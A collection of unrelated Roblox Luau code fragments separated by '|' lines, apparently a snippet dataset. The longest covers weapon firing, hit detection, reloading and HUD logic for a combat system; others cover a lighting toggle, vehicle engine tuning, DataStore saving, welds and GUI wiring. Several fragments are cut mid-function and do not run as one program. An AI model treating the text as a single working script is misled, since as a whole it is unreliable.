if FoundHuman == true and VitimaHuman.Health > 0 and WeaponData then
local SKP_02 = SKP_01.."-"..plr.UserId
if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 1, WeaponData, ModTable, nil, nil, SKP_02)
elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "Right Arm" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 2, WeaponData, ModTable, nil, nil, SKP_02)
elseif HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 3, WeaponData, ModTable, nil, nil, SKP_02)
end
end
end
break
end
Bpos2 = Bpos
end
end
local Tracers = 0
function TracerCalculation()
if not WeaponData.Tracer and not WeaponData.BulletFlare then return false; end;
if WeaponData.RandomTracer.Enabled then
if math.random(1, 100) <= WeaponData.RandomTracer.Chance then return true; end;
return false;
end;
if Tracers >= WeaponData.TracerEveryXShots then
Tracers = 0;
return true;
end;
Tracers = Tracers + 1;
return false;
end;
function CreateBullet()
local Bullet = Instance.new("Part",ACS_Workspace.Client)
Bullet.Name = plr.Name.."_Bullet"
Bullet.CanCollide = false
Bullet.Shape = Enum.PartType.Ball
Bullet.Transparency = 1
Bullet.Size = Vector3.new(1,1,1)
local Origin = WeaponInHand.Handle.Muzzle.WorldPosition
local Direction = WeaponInHand.Handle.Muzzle.WorldCFrame.LookVector + (WeaponInHand.Handle.Muzzle.WorldCFrame.UpVector * (((WeaponData.BulletDrop * WeaponData.CurrentZero/4)/WeaponData.MuzzleVelocity))/2)
local BulletCF = CFrame.new(Origin, Direction)
local WalkMul = WeaponData.WalkMult * ModTable.WalkMult
local BColor = Color3.fromRGB(255,255,255)
local balaspread
if aimming and WeaponData.Bullets <= 1 then
balaspread = CFrame.Angles(
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction))
)
else
balaspread = CFrame.Angles(
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10)
)
end
Direction = balaspread * Direction
local Visivel = TracerCalculation()
if WeaponData.RainbowMode then
BColor = Color3.fromRGB(math.random(0,255),math.random(0,255),math.random(0,255))
else
BColor = WeaponData.TracerColor
end
if Visivel then
if gameRules.ReplicatedBullets then
Evt.ServerBullet:FireServer(Origin,Direction,WeaponData,ModTable)
end
if WeaponData.Tracer == true then
local At1 = Instance.new("Attachment")
At1.Name = "At1"
At1.Position = Vector3.new(-(.05),0,0)
At1.Parent = Bullet
local At2 = Instance.new("Attachment")
At2.Name = "At2"
At2.Position = Vector3.new((.05),0,0)
At2.Parent = Bullet
local Particles = Instance.new("Trail")
Particles.Transparency = NumberSequence.new({
NumberSequenceKeypoint.new(0, 0, 0);
NumberSequenceKeypoint.new(1, 1);
}
)
Particles.WidthScale = NumberSequence.new({
NumberSequenceKeypoint.new(0, 2, 0);
NumberSequenceKeypoint.new(1, 1);
}
)
Particles.Color = ColorSequence.new(BColor)
Particles.Texture = "rbxassetid://232918622"
Particles.TextureMode = Enum.TextureMode.Stretch
Particles.FaceCamera = true
Particles.LightEmission = 1
Particles.LightInfluence = 0
Particles.Lifetime = .25
Particles.Attachment0 = At1
Particles.Attachment1 = At2
Particles.Parent = Bullet
end
if WeaponData.BulletFlare == true then
local bg = Instance.new("BillboardGui", Bullet)
bg.Adornee = Bullet
bg.Enabled = false
local flashsize = math.random(275, 375)/10
bg.Size = UDim2.new(flashsize, 0, flashsize, 0)
bg.LightInfluence = 0
local flash = Instance.new("ImageLabel", bg)
flash.BackgroundTransparency = 1
flash.Size = UDim2.new(1, 0, 1, 0)
flash.Position = UDim2.new(0, 0, 0, 0)
flash.Image = "http://www.roblox.com/asset/?id=1047066405"
flash.ImageTransparency = math.random(2, 5)/15
flash.ImageColor3 = BColor
spawn(function()
wait(.1)
if not Bullet:FindFirstChild("BillboardGui") then return; end;
Bullet.BillboardGui.Enabled = true
end)
end
end
local BulletMass = Bullet:GetMass()
local Force = Vector3.new(0,BulletMass * (196.2) - (WeaponData.BulletDrop) * (196.2), 0)
local BF = Instance.new("BodyForce",Bullet)
Bullet.CFrame = BulletCF
Bullet:ApplyImpulse(Direction * WeaponData.MuzzleVelocity * ModTable.MuzzleVelocity)
BF.Force = Force
game.Debris:AddItem(Bullet, 5)
CastRay(Bullet, Origin)
end
function meleeCast()
local recast
-- Set an origin and directional vector
local rayOrigin = cam.CFrame.Position
local rayDirection = cam.CFrame.LookVector * WeaponData.BladeRange
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = Ignore_Model
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
raycastParams.IgnoreWater = true
local raycastResult = workspace:Raycast(rayOrigin, rayDirection, raycastParams)
if raycastResult then
local Hit2 = raycastResult.Instance
--Check if it's a hat or accessory
if Hit2 and Hit2.Parent:IsA('Accessory') then
for _,players in pairs(game.Players:GetPlayers()) do
if not players.Character then continue; end;
for i, hats in pairs(players.Character:GetChildren()) do
if not hats:IsA("Accessory") then continue; end;
table.insert(Ignore_Model, hats)
end
end
return meleeCast()
end
if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Glass" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2)
return meleeCast()
end
if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2.Parent)
return meleeCast()
end
if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then
table.insert(Ignore_Model, Hit2)
return meleeCast()
end
end
if not raycastResult then return; end;
local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance)
HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
local HitPart = raycastResult.Instance
if not FoundHuman or VitimaHuman.Health <= 0 then return; end;
local SKP_02 = SKP_01.."-"..plr.UserId
if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then
Thread:Spawn(function()
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 1, WeaponData, ModTable, nil, nil, SKP_02)
end)
elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then
Thread:Spawn(function()
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 2, WeaponData, ModTable, nil, nil, SKP_02)
end)
elseif HitPart.Name == "Right Arm" or HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then
Thread:Spawn(function()
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 3, WeaponData, ModTable, nil, nil, SKP_02)
end)
end;
end;
function UpdateGui()
if not SE_GUI or not WeaponData then return; end;
local HUD = SE_GUI.GunHUD
HUD.NText.Text = WeaponData.gunName
HUD.BText.Text = WeaponData.BulletType
HUD.A.Visible = SafeMode
HUD.Att.Silencer.Visible = Suppressor
HUD.Att.Bipod.Visible = BipodAtt
HUD.Sens.Text = (Sens/100)
if WeaponData.Jammed then
HUD.B.BackgroundColor3 = Color3.fromRGB(255,0,0)
else
HUD.B.BackgroundColor3 = Color3.fromRGB(255,255,255)
end
if Ammo > 0 then
HUD.B.Visible = true
else
HUD.B.Visible = false
end
if WeaponData.ShootType == 1 then
HUD.FText.Text = "Semi"
elseif WeaponData.ShootType == 2 then
HUD.FText.Text = "Burst"
elseif WeaponData.ShootType == 3 then
HUD.FText.Text = "Auto"
elseif WeaponData.ShootType == 4 then
HUD.FText.Text = "Pump-Action"
elseif WeaponData.ShootType == 5 then
HUD.FText.Text = "Bolt-Action"
end
if WeaponData.EnableZeroing then
HUD.ZeText.Visible = true
HUD.ZeText.Text = WeaponData.CurrentZero .." m"
else
HUD.ZeText.Visible = false
end
if WeaponData.MagCount then
HUD.SAText.Text = math.ceil(StoredAmmo/WeaponData.Ammo)
HUD.Magazines.Visible = true
HUD.Bullets.Visible = false
else
HUD.SAText.Text = StoredAmmo
HUD.Magazines.Visible = false
HUD.Bullets.Visible = true
end
if LaserAtt then
HUD.Att.Laser.Visible = true
if LaserActive then
if IRmode then
TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(0,255,0), ImageTransparency = .123}):Play()
else
TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play()
end
else
TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play()
end
else
HUD.Att.Laser.Visible = false
end
if TorchAtt then
HUD.Att.Flash.Visible = true
if TorchActive then
TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play()
else
TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play()
end
else
HUD.Att.Flash.Visible = false
end
if WeaponData.Type == "Grenade" then
SE_GUI.GrenadeForce.Visible = true
else
SE_GUI.GrenadeForce.Visible = false
end
end
function CheckMagFunction()
if aimming then
aimming = false
ADS(aimming)
end
if SE_GUI then
local HUD = SE_GUI.GunHUD
TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{TextTransparency = 0,TextStrokeTransparency = 0.75}):Play()
if Ammo >= WeaponData.Ammo then
HUD.CMText.Text = "Full"
elseif Ammo > math.floor((WeaponData.Ammo)*.75) and Ammo < WeaponData.Ammo then
HUD.CMText.Text = "Nearly full"
elseif Ammo < math.floor((WeaponData.Ammo)*.75) and Ammo > math.floor((WeaponData.Ammo)*.5) then
HUD.CMText.Text = "Almost half"
elseif Ammo == math.floor((WeaponData.Ammo)*.5) then
HUD.CMText.Text = "Half"
elseif Ammo > math.ceil((WeaponData.Ammo)*.25) and Ammo < math.floor((WeaponData.Ammo)*.5) then
HUD.CMText.Text = "Less than half"
elseif Ammo < math.ceil((WeaponData.Ammo)*.25) and Ammo > 0 then
HUD.CMText.Text = "Almost empty"
elseif Ammo == 0 then
HUD.CMText.Text = "Empty"
end
delay(.25,function()
TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,5),{TextTransparency = 1,TextStrokeTransparency = 1}):Play()
end)
end
mouse1down = false
SafeMode = false
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
UpdateGui()
MagCheckAnim()
RunCheck()
end
function Grenade()
if GRDebounce then return; end;
GRDebounce = true;
GrenadeReady()
repeat wait() until not CookGrenade;
TossGrenade()
end
function TossGrenade()
if not WeaponTool or not WeaponData or not GRDebounce then return; end;
local SKP_02 = SKP_01.."-"..plr.UserId
GrenadeThrow()
if not WeaponTool or not WeaponData then return; end;
Evt.Grenade:FireServer(WeaponTool,WeaponData,cam.CFrame,cam.CFrame.LookVector,Power,SKP_02)
unset()
end
function GrenadeMode()
if Power >= 150 then
Power = 100
SE_GUI.GrenadeForce.Text = "Mid Throw"
elseif Power >= 100 then
Power = 50
SE_GUI.GrenadeForce.Text = "Low Throw"
elseif Power >= 50 then
Power = 150
SE_GUI.GrenadeForce.Text = "High Throw"
end
end
function JamChance()
if not WeaponData or not WeaponData.CanBreak or WeaponData.Jammed or Ammo - 1 <= 0 then return; end;
local Jam = math.random(1000)
if Jam > 2 then return; end;
WeaponData.Jammed = true
WeaponInHand.Handle.Click:Play()
end
function Jammed()
if not WeaponData or WeaponData.Type ~= "Gun" or not WeaponData.Jammed then return; end;
mouse1down = false
reloading = true
SafeMode = false
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
UpdateGui()
JammedAnim()
WeaponData.Jammed = false
UpdateGui()
reloading = false
RunCheck()
end
function Reload()
if WeaponData.Type == "Gun" and StoredAmmo > 0 and (Ammo < WeaponData.Ammo or WeaponData.IncludeChamberedBullet and Ammo < WeaponData.Ammo + 1) then
mouse1down = false
reloading = true
SafeMode = false
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
UpdateGui()
if WeaponData.ShellInsert then
if Ammo > 0 then
for i = 1,WeaponData.Ammo - Ammo do
if StoredAmmo > 0 and Ammo < WeaponData.Ammo then
if CancelReload then
break
end
ReloadAnim()
Ammo = Ammo + 1
StoredAmmo = StoredAmmo - 1
UpdateGui()
end
end
else
TacticalReloadAnim()
Ammo = Ammo + 1
StoredAmmo = StoredAmmo - 1
UpdateGui()
for i = 1,WeaponData.Ammo - Ammo do
if StoredAmmo > 0 and Ammo < WeaponData.Ammo then
if CancelReload then
break
end
ReloadAnim()
Ammo = Ammo + 1
StoredAmmo = StoredAmmo - 1
UpdateGui()
end
end
end
else
if Ammo > 0 then
ReloadAnim()
else
TacticalReloadAnim()
end
if (Ammo - (WeaponData.Ammo - StoredAmmo)) < 0 then
Ammo = Ammo + StoredAmmo
StoredAmmo = 0
elseif Ammo <= 0 then
StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo)
Ammo = WeaponData.Ammo
elseif Ammo > 0 and WeaponData.IncludeChamberedBullet then
StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) - 1
Ammo = WeaponData.Ammo + 1
elseif Ammo > 0 and not WeaponData.IncludeChamberedBullet then
StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo)
Ammo = WeaponData.Ammo
end
end
CancelReload = false
reloading = false
RunCheck()
UpdateGui()
end
end
function GunFx()
if Suppressor == true then
WeaponInHand.Handle.Muzzle.Supressor:Play()
else
WeaponInHand.Handle.Muzzle.Fire:Play()
end
if FlashHider == true then
WeaponInHand.Handle.Muzzle["Smoke"]:Emit(10)
else
WeaponInHand.Handle.Muzzle["FlashFX[Flash]"]:Emit(10)
WeaponInHand.Handle.Muzzle["Smoke"]:Emit(10)
end
if BSpread then
BSpread = math.min(WeaponData.MaxSpread * ModTable.MaxSpread, BSpread + WeaponData.AimInaccuracyStepAmount * ModTable.AimInaccuracyStepAmount)
RecoilPower = math.min(WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower, RecoilPower + WeaponData.RecoilPowerStepAmount * ModTable.RecoilPowerStepAmount)
end
generateBullet = generateBullet + 1
LastSpreadUpdate = time()
if Ammo > 0 or not WeaponData.SlideLock then
TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,true,0), {C0 = WeaponData.SlideEx:inverse() }):Play()
elseif Ammo <= 0 and WeaponData.SlideLock then
TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0), {C0 = WeaponData.SlideEx:inverse() }):Play()
end
WeaponInHand.Handle.Chamber.Smoke:Emit(10)
WeaponInHand.Handle.Chamber.Shell:Emit(1)
end
function Shoot()
if WeaponData and WeaponData.Type == "Gun" and not shooting and not reloading then
if reloading or runKeyDown or SafeMode or CheckingMag then
mouse1down = false
return
end
if Ammo <= 0 or WeaponData.Jammed then
WeaponInHand.Handle.Click:Play()
mouse1down = false
return
end
mouse1down = true
delay(0, function()
if WeaponData and WeaponData.ShootType == 1 then
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
JamChance()
UpdateGui()
Thread:Spawn(Recoil)
wait(60/WeaponData.ShootRate)
shooting = false
elseif WeaponData and WeaponData.ShootType == 2 then
for i = 1, WeaponData.BurstShot do
if shooting or Ammo <= 0 or mouse1down == false or WeaponData.Jammed then
break
end
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
JamChance()
UpdateGui()
Thread:Spawn(Recoil)
wait(60/WeaponData.ShootRate)
shooting = false
end
elseif WeaponData and WeaponData.ShootType == 3 then
while mouse1down do
if shooting or Ammo <= 0 or WeaponData.Jammed then
break
end
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
JamChance()
UpdateGui()
Thread:Spawn(Recoil)
wait(60/WeaponData.ShootRate)
shooting = false
end
elseif WeaponData and WeaponData.ShootType == 4 or WeaponData and WeaponData.ShootType == 5 then
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
UpdateGui()
Thread:Spawn(Recoil)
PumpAnim()
RunCheck()
shooting = false
end
end)
elseif WeaponData and WeaponData.Type == "Melee" and not runKeyDown then
if not shooting then
shooting = true
meleeCast()
meleeAttack()
RunCheck()
shooting = false
end
end
end
local L_150_ = {}
local LeanSpring = {}
LeanSpring.cornerPeek = SpringMod.new(0)
LeanSpring.cornerPeek.d = 1
LeanSpring.cornerPeek.s = 20
LeanSpring.peekFactor = math.rad(-15)
LeanSpring.dirPeek = 0
function L_150_.Update()
LeanSpring.cornerPeek.t = LeanSpring.peekFactor * Virar
local NewLeanCF = CFrame.fromAxisAngle(Vector3.new(0, 0, 1), LeanSpring.cornerPeek.p)
cam.CFrame = cam.CFrame * NewLeanCF
end
game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update)
function RunCheck()
if runKeyDown then
mouse1down = false
GunStance = 3
Evt.GunStance:FireServer(GunStance,AnimData)
SprintAnim()
else
if aimming then
GunStance = 2
Evt.GunStance:FireServer(GunStance,AnimData)
else
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
end
IdleAnim()
end
end
function Stand()
Stance:FireServer(Stances,Virar)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
SE_GUI.MainFrame.Poses.Levantado.Visible = true
SE_GUI.MainFrame.Poses.Agaixado.Visible = false
SE_GUI.MainFrame.Poses.Deitado.Visible = false
if Steady then
char.Humanoid.WalkSpeed = gameRules.SlowPaceWalkSpeed
else
if script.Parent:GetAttribute("Injured") then
char.Humanoid.WalkSpeed = gameRules.InjuredWalksSpeed
else
char.Humanoid.WalkSpeed = gameRules.NormalWalkSpeed
end
end
char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, true)
local IsStanced = false
end
function Crouch()
Stance:FireServer(Stances,Virar)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
SE_GUI.MainFrame.Poses.Levantado.Visible = false
SE_GUI.MainFrame.Poses.Agaixado.Visible = true
SE_GUI.MainFrame.Poses.Deitado.Visible = false
if script.Parent:GetAttribute("Injured") then
char.Humanoid.WalkSpeed = gameRules.InjuredCrouchWalkSpeed
else
char.Humanoid.WalkSpeed = gameRules.CrouchWalkSpeed
end
char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false)
local IsStanced = true
end
function Prone()
Stance:FireServer(Stances,Virar)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
SE_GUI.MainFrame.Poses.Levantado.Visible = false
SE_GUI.MainFrame.Poses.Agaixado.Visible = false
SE_GUI.MainFrame.Poses.Deitado.Visible = true
if ACS_Client:GetAttribute("Surrender") then
char.Humanoid.WalkSpeed = 0
else
char.Humanoid.WalkSpeed = gameRules.ProneWalksSpeed
end
char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false)
local IsStanced = true
end
function Lean()
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
Stance:FireServer(Stances,Virar)
if Virar == 0 then
SE_GUI.MainFrame.Poses.Esg_Left.Visible = false
SE_GUI.MainFrame.Poses.Esg_Right.Visible = false
elseif Virar == 1 then
SE_GUI.MainFrame.Poses.Esg_Left.Visible = false
SE_GUI.MainFrame.Poses.Esg_Right.Visible = true
elseif Virar == -1 then
SE_GUI.MainFrame.Poses.Esg_Left.Visible = true
SE_GUI.MainFrame.Poses.Esg_Right.Visible = false
end
end
|
-- ScreenSpace -> WorldSpace. Taking a screen width, and a depth to put an object
-- at, and returning a size of how big that object has to be to appear that size
-- at that depth.
|
function ScreenSpace.ScreenToWorldByWidthDepth(x, y, screenWidth, depth)
local aspectRatio = ScreenSpace.AspectRatio()
local hfactor = math.tan(math.rad(workspace.CurrentCamera.FieldOfView)/2)
local wfactor = aspectRatio*hfactor
local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY()
--
local worldWidth = (screenWidth/sx) * 2 * -wfactor * depth
--
local xf, yf = x/sx*2 - 1, y/sy*2 - 1
local xpos = xf * -wfactor * depth
local ypos = yf * hfactor * depth
--
return Vector3.new(xpos, ypos, depth), worldWidth
end
|
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.02
s:play()
wait(0.001)
end]]
|
for x = 50, 120 do
s:play()
wait(0.001)
end
for x = 50, 120 do
s.Pitch = s.Pitch - 0.0020
s:play()
wait(0.001)
end
wait()
end
|
--// lighting
|
local lg = game:GetService("Lighting")
local bm = lg:FindFirstChild("Bloom")
local sr = lg:FindFirstChild("SunRays")
local bl = lg:FindFirstChild("Blur")
local cc = lg:FindFirstChild("ColorCorrection")
bf.Text = "ALLOWED" -- set the state of the play jump
if bf.Text == "DISABLED" then
bf.BackgroundColor3 = Color3.new(1, 0, 0)
bm.Enabled = false
sr.Enabled = false
bl.Enabled = false
cc.Enabled = false
end
if bf.Text == "ALLOWED" then
bf.BackgroundColor3 = Color3.new(0, 1, 0)
bm.Enabled = true
sr.Enabled = true
bl.Enabled = true
cc.Enabled = true
end
bf.MouseButton1Click:Connect(function()
if bf.Text == "ALLOWED" then
bf.Text = "DISABLED"
-- custom command
bf.BackgroundColor3 = Color3.new(1, 0, 0)
bm.Enabled = false
sr.Enabled = false
bl.Enabled = false
cc.Enabled = false
elseif bf.Text == "DISABLED" then
bf.Text = "ALLOWED"
-- custom command #2
bf.BackgroundColor3 = Color3.new(0, 1, 0)
bm.Enabled = true
sr.Enabled = true
bl.Enabled = true
cc.Enabled = true
end
end)
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 220 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[=[
If these is data not yet written then this will return true
@return boolean
]=]
|
function DataStoreStage:HasWritableData()
if self._dataToSave then
return true
end
for name, store in pairs(self._stores) do
if not store.Destroy then
warn(("[DataStoreStage] - Substore %q destroyed"):format(name))
continue
end
if store:HasWritableData() then
return true
end
end
return false
end
|
--[[ if your changing the DataStore name from LB
to anything else you should change it
inside the LeaderboardHandler too
]]
|
--
local leaderboardDS = ds:GetOrderedDataStore("LB")
players.PlayerAdded:Connect(function(plr)
local leaderstats = Instance.new("Folder")
leaderstats.Name = "leaderstats"
leaderstats.Parent = plr
local Cash = Instance.new("NumberValue")
Cash.Name = "Clicks"
Cash.Parent = leaderstats
local Gems = Instance.new("NumberValue")
Gems.Name = "Gems"
Gems.Parent = leaderstats
local Rebirths = Instance.new("NumberValue")
Rebirths.Name = "Rebirths"
Rebirths.Parent = leaderstats
end)
while true do
for i , v in pairs(players:GetPlayers()) do
local succ , errmsg = pcall(function()
-- saving the Coins value with the player's userid as the key
leaderboardDS:SetAsync(v.UserId , v.leaderstats.Rebirths.Value)
end)
end
-- recommend waiting for a longer time
task.wait(10)
end
|
--weldconstrain
|
function module.weldconstrain(base, part, tim)
part.Anchored = false
local weld = Instance.new("WeldConstraint")
weld.Parent = base
weld.Part0 = part
weld.Part1 = base
game.Debris:AddItem(weld, tim)
end
function module.w_weld(base, target, tim, cf1)
local w = Instance.new("Weld")
w.Parent = target
w.Part0 = target
w.Part1 = base
local cf0 = target.CFrame
local cf1 = cf1 or CFrame.new(0,10,0) * CFrame.Angles(0,math.rad(45),0)
w.C0 = cf0:Inverse()
w.C1 = cf1:Inverse()
game.Debris:AddItem(w, tim)
end
return module
|
--> Connections
---[[
|
character.ChildAdded:Connect(function(newChild)
if CollectionService:HasTag(newChild, "Gun") then
SetupGUIForHeldGun(newChild)
if #primaryWeaponSlot:GetChildren() == 0 then
weapon1Label.BackgroundColor3 = onColor
weapon1Label.Text = newChild.Name
elseif #secondaryWeaponSlot:GetChildren() == 0 then
weapon2Label.BackgroundColor3 = onColor
weapon2Label.Text = newChild.Name
end
